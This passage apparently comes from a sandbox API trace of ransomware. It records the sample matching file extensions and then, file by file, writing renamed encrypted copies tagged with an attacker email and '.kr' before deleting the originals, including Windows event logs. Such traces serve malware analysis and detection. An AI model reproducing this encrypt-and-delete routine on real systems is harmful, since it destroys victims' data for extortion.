returned 4 [0106.087] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0106.087] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0106.087] lstrlenW (lpString=".jpg") returned 4 [0106.087] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0106.087] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0106.087] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0106.087] lstrlenW (lpString=".doc") returned 4 [0106.087] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0106.087] lstrlenW (lpString=".docx") returned 5 [0106.087] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0106.087] lstrlenW (lpString=".pdf") returned 4 [0106.087] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0106.087] lstrlenW (lpString=".xls") returned 4 [0106.087] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0106.087] lstrlenW (lpString=".xlsx") returned 5 [0106.087] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0106.087] lstrlenW (lpString=".ppt") returned 4 [0106.087] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0106.087] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0106.087] lstrlenW (lpString=".zip") returned 4 [0106.087] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0106.088] lstrlenW (lpString=".rar") returned 4 [0106.088] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0106.088] lstrlenW (lpString=".bz2") returned 4 [0106.088] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0106.088] lstrlenW (lpString=".7z") returned 3 [0106.088] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0106.088] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0106.088] lstrlenW (lpString=".dbf") returned 4 [0106.088] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0106.088] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0106.088] lstrlenW (lpString=".1cd") returned 4 [0106.088] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0106.088] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80 [0106.088] lstrlenW (lpString=".jpg") returned 4 [0106.088] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0106.088] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0106.088] lstrlenW (lpString="Windows PowerShell.evtx") returned 23 [0106.088] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0106.089] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=69632) returned 1 [0106.089] CloseHandle (hObject=0x35c) returned 1 [0106.089] GetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx")) returned 0x20 [0106.089] GetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\windows powershell.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0106.089] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0106.089] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.089] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.089] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\windows powershell.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0106.090] GetLastError () returned 0x0 [0106.090] ReadFile (in: hFile=0x35c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0106.092] WriteFile (in: hFile=0x37c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0106.095] ReadFile (in: hFile=0x35c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0106.095] WriteFile (in: hFile=0x37c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x102, lpOverlapped=0x0) returned 1 [0106.095] SetEndOfFile (hFile=0x37c) returned 1 [0106.095] CloseHandle (hObject=0x37c) returned 1 [0106.098] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.098] SetEndOfFile (hFile=0x35c) returned 1 [0106.100] CloseHandle (hObject=0x35c) returned 1 [0106.100] SetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0106.100] DeleteFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx")) returned 1 [0106.100] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0106.100] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0106.100] lstrlenW (lpString=".doc") returned 4 [0106.100] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0106.100] lstrlenW (lpString=".docx") returned 5 [0106.100] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0106.100] lstrlenW (lpString=".pdf") returned 4 [0106.101] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0106.101] lstrlenW (lpString=".xls") returned 4 [0106.101] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0106.101] lstrlenW (lpString=".xlsx") returned 5 [0106.101] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0106.101] lstrlenW (lpString=".ppt") returned 4 [0106.101] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0106.101] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0106.101] lstrlenW (lpString=".zip") returned 4 [0106.101] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0106.101] lstrlenW (lpString=".rar") returned 4 [0106.101] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0106.101] lstrlenW (lpString=".bz2") returned 4 [0106.101] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0106.101] lstrlenW (lpString=".7z") returned 3 [0106.101] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0106.101] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0106.101] lstrlenW (lpString=".dbf") returned 4 [0106.101] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0106.101] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0106.101] lstrlenW (lpString=".1cd") returned 4 [0106.101] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0106.101] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0106.101] lstrlenW (lpString=".jpg") returned 4 [0106.101] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0106.102] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0106.102] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0106.102] lstrlenW (lpString=".doc") returned 4 [0106.102] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0106.102] lstrlenW (lpString=".docx") returned 5 [0106.102] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0106.102] lstrlenW (lpString=".pdf") returned 4 [0106.102] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0106.102] lstrlenW (lpString=".xls") returned 4 [0106.102] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0106.102] lstrlenW (lpString=".xlsx") returned 5 [0106.102] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0106.102] lstrlenW (lpString=".ppt") returned 4 [0106.102] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0106.102] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0106.102] lstrlenW (lpString=".zip") returned 4 [0106.102] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0106.102] lstrlenW (lpString=".rar") returned 4 [0106.102] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0106.102] lstrlenW (lpString=".bz2") returned 4 [0106.102] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0106.102] lstrlenW (lpString=".7z") returned 3 [0106.102] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0106.102] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0106.102] lstrlenW (lpString=".dbf") returned 4 [0106.103] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0106.103] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0106.103] lstrlenW (lpString=".1cd") returned 4 [0106.103] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0106.103] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0106.103] lstrlenW (lpString=".jpg") returned 4 [0106.103] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0106.103] lstrcmpiW (lpString1=".sys", lpString2=".kr") returned 1 [0106.103] lstrlenW (lpString="pagefile.sys") returned 12 [0106.103] CreateFileW (lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0106.103] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0106.103] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0106.103] lstrlenW (lpString=".doc") returned 4 [0106.103] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0106.103] lstrlenW (lpString=".docx") returned 5 [0106.103] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0106.103] lstrlenW (lpString=".pdf") returned 4 [0106.103] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0106.104] lstrlenW (lpString=".xls") returned 4 [0106.104] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0106.104] lstrlenW (lpString=".xlsx") returned 5 [0106.104] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0106.104] lstrlenW (lpString=".ppt") returned 4 [0106.104] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0106.104] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0106.104] lstrlenW (lpString=".zip") returned 4 [0106.104] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0106.104] lstrlenW (lpString=".rar") returned 4 [0106.104] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0106.104] lstrlenW (lpString=".bz2") returned 4 [0106.104] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0106.104] lstrlenW (lpString=".7z") returned 3 [0106.104] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0106.104] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0106.104] lstrlenW (lpString=".dbf") returned 4 [0106.104] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0106.104] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0106.104] lstrlenW (lpString=".1cd") returned 4 [0106.104] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0106.104] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0106.104] lstrlenW (lpString=".jpg") returned 4 [0106.104] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0106.104] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0106.105] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0106.105] lstrlenW (lpString=".doc") returned 4 [0106.105] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0106.105] lstrlenW (lpString=".docx") returned 5 [0106.105] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0106.105] lstrlenW (lpString=".pdf") returned 4 [0106.105] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0106.105] lstrlenW (lpString=".xls") returned 4 [0106.105] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0106.105] lstrlenW (lpString=".xlsx") returned 5 [0106.105] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0106.105] lstrlenW (lpString=".ppt") returned 4 [0106.105] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0106.105] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0106.105] lstrlenW (lpString=".zip") returned 4 [0106.105] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0106.105] lstrlenW (lpString=".rar") returned 4 [0106.105] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0106.105] lstrlenW (lpString=".bz2") returned 4 [0106.105] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0106.105] lstrlenW (lpString=".7z") returned 3 [0106.105] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0106.105] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0106.105] lstrlenW (lpString=".dbf") returned 4 [0106.106] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0106.106] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0106.106] lstrlenW (lpString=".1cd") returned 4 [0106.106] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0106.106] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0106.106] lstrlenW (lpString=".jpg") returned 4 [0106.106] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0106.106] lstrcmpiW (lpString1=".OLB", lpString2=".kr") returned 1 [0106.106] lstrlenW (lpString="MSADDNDR.OLB") returned 12 [0106.106] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0106.109] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=15984) returned 1 [0106.109] CloseHandle (hObject=0x35c) returned 1 [0106.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb")) returned 0x20 [0106.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0106.109] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0106.109] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.109] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.110] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0106.110] GetLastError () returned 0x0 [0106.110] ReadFile (in: hFile=0x35c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x3e70, lpOverlapped=0x0) returned 1 [0106.112] WriteFile (in: hFile=0x37c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x3e80, lpOverlapped=0x0) returned 1 [0106.113] ReadFile (in: hFile=0x35c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0106.114] WriteFile (in: hFile=0x37c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0xec, lpOverlapped=0x0) returned 1 [0106.114] SetEndOfFile (hFile=0x37c) returned 1 [0106.114] CloseHandle (hObject=0x37c) returned 1 [0106.116] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.116] SetEndOfFile (hFile=0x35c) returned 1 [0106.117] CloseHandle (hObject=0x35c) returned 1 [0106.117] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0106.118] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb")) returned 1 [0106.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0106.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0106.118] lstrlenW (lpString=".doc") returned 4 [0106.118] lstrcmpiW (lpString1=".doc", lpString2=".OLB") returned -1 [0106.118] lstrlenW (lpString=".docx") returned 5 [0106.118] lstrcmpiW (lpString1=".docx", lpString2="R.OLB") returned -1 [0106.118] lstrlenW (lpString=".pdf") returned 4 [0106.118] lstrcmpiW (lpString1=".pdf", lpString2=".OLB") returned 1 [0106.118] lstrlenW (lpString=".xls") returned 4 [0106.118] lstrcmpiW (lpString1=".xls", lpString2=".OLB") returned 1 [0106.119] lstrlenW (lpString=".xlsx") returned 5 [0106.119] lstrcmpiW (lpString1=".xlsx", lpString2="R.OLB") returned -1 [0106.119] lstrlenW (lpString=".ppt") returned 4 [0106.119] lstrcmpiW (lpString1=".ppt", lpString2=".OLB") returned 1 [0106.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0106.119] lstrlenW (lpString=".zip") returned 4 [0106.119] lstrcmpiW (lpString1=".zip", lpString2=".OLB") returned 1 [0106.119] lstrlenW (lpString=".rar") returned 4 [0106.119] lstrcmpiW (lpString1=".rar", lpString2=".OLB") returned 1 [0106.119] lstrlenW (lpString=".bz2") returned 4 [0106.119] lstrcmpiW (lpString1=".bz2", lpString2=".OLB") returned -1 [0106.119] lstrlenW (lpString=".7z") returned 3 [0106.119] lstrcmpiW (lpString1=".7z", lpString2="OLB") returned -1 [0106.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0106.119] lstrlenW (lpString=".dbf") returned 4 [0106.119] lstrcmpiW (lpString1=".dbf", lpString2=".OLB") returned -1 [0106.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0106.119] lstrlenW (lpString=".1cd") returned 4 [0106.119] lstrcmpiW (lpString1=".1cd", lpString2=".OLB") returned -1 [0106.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0106.119] lstrlenW (lpString=".jpg") returned 4 [0106.120] lstrcmpiW (lpString1=".jpg", lpString2=".OLB") returned -1 [0106.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0106.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0106.120] lstrlenW (lpString=".doc") returned 4 [0106.120] lstrcmpiW (lpString1=".doc", lpString2=".OLB") returned -1 [0106.120] lstrlenW (lpString=".docx") returned 5 [0106.120] lstrcmpiW (lpString1=".docx", lpString2="R.OLB") returned -1 [0106.120] lstrlenW (lpString=".pdf") returned 4 [0106.120] lstrcmpiW (lpString1=".pdf", lpString2=".OLB") returned 1 [0106.120] lstrlenW (lpString=".xls") returned 4 [0106.120] lstrcmpiW (lpString1=".xls", lpString2=".OLB") returned 1 [0106.120] lstrlenW (lpString=".xlsx") returned 5 [0106.120] lstrcmpiW (lpString1=".xlsx", lpString2="R.OLB") returned -1 [0106.120] lstrlenW (lpString=".ppt") returned 4 [0106.120] lstrcmpiW (lpString1=".ppt", lpString2=".OLB") returned 1 [0106.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0106.120] lstrlenW (lpString=".zip") returned 4 [0106.120] lstrcmpiW (lpString1=".zip", lpString2=".OLB") returned 1 [0106.120] lstrlenW (lpString=".rar") returned 4 [0106.120] lstrcmpiW (lpString1=".rar", lpString2=".OLB") returned 1 [0106.120] lstrlenW (lpString=".bz2") returned 4 [0106.120] lstrcmpiW (lpString1=".bz2", lpString2=".OLB") returned -1 [0106.120] lstrlenW (lpString=".7z") returned 3 [0106.120] lstrcmpiW (lpString1=".7z", lpString2="OLB") returned -1 [0106.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0106.121] lstrlenW (lpString=".dbf") returned 4 [0106.121] lstrcmpiW (lpString1=".dbf", lpString2=".OLB") returned -1 [0106.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0106.123] lstrlenW (lpString=".1cd") returned 4 [0106.123] lstrcmpiW (lpString1=".1cd", lpString2=".OLB") returned -1 [0106.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned 51 [0106.123] lstrlenW (lpString=".jpg") returned 4 [0106.123] lstrcmpiW (lpString1=".jpg", lpString2=".OLB") returned -1 [0106.123] lstrcmpiW (lpString1=".exe", lpString2=".kr") returned -1 [0106.123] lstrlenW (lpString="lang hl gis.exe") returned 15 [0106.123] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\lang hl gis.exe" (normalized: "c:\\program files\\common files\\lang hl gis.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0106.124] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=78336) returned 1 [0106.124] CloseHandle (hObject=0x35c) returned 1 [0106.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\lang hl gis.exe" (normalized: "c:\\program files\\common files\\lang hl gis.exe")) returned 0x20 [0106.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\lang hl gis.exe.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\lang hl gis.exe.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0106.124] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\lang hl gis.exe" (normalized: "c:\\program files\\common files\\lang hl gis.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0106.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\lang hl gis.exe") returned 45 [0106.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\lang hl gis.exe") returned 45 [0106.125] lstrlenW (lpString=".doc") returned 4 [0106.125] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0106.125] lstrlenW (lpString=".docx") returned 5 [0106.125] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1 [0106.125] lstrlenW (lpString=".pdf") returned 4 [0106.125] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0106.125] lstrlenW (lpString=".xls") returned 4 [0106.125] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0106.125] lstrlenW (lpString=".xlsx") returned 5 [0106.125] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1 [0106.125] lstrlenW (lpString=".ppt") returned 4 [0106.125] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0106.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\lang hl gis.exe") returned 45 [0106.125] lstrlenW (lpString=".zip") returned 4 [0106.125] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0106.125] lstrlenW (lpString=".rar") returned 4 [0106.125] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0106.125] lstrlenW (lpString=".bz2") returned 4 [0106.125] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0106.125] lstrlenW (lpString=".7z") returned 3 [0106.126] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0106.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\lang hl gis.exe") returned 45 [0106.126] lstrlenW (lpString=".dbf") returned 4 [0106.126] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0106.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\lang hl gis.exe") returned 45 [0106.126] lstrlenW (lpString=".1cd") returned 4 [0106.126] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0106.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\lang hl gis.exe") returned 45 [0106.126] lstrlenW (lpString=".jpg") returned 4 [0106.126] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0106.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\lang hl gis.exe") returned 45 [0106.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\lang hl gis.exe") returned 45 [0106.126] lstrlenW (lpString=".doc") returned 4 [0106.126] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0106.126] lstrlenW (lpString=".docx") returned 5 [0106.126] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1 [0106.126] lstrlenW (lpString=".pdf") returned 4 [0106.126] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0106.126] lstrlenW (lpString=".xls") returned 4 [0106.127] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0106.127] lstrlenW (lpString=".xlsx") returned 5 [0106.127] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1 [0106.127] lstrlenW (lpString=".ppt") returned 4 [0106.127] lstrcmpiW 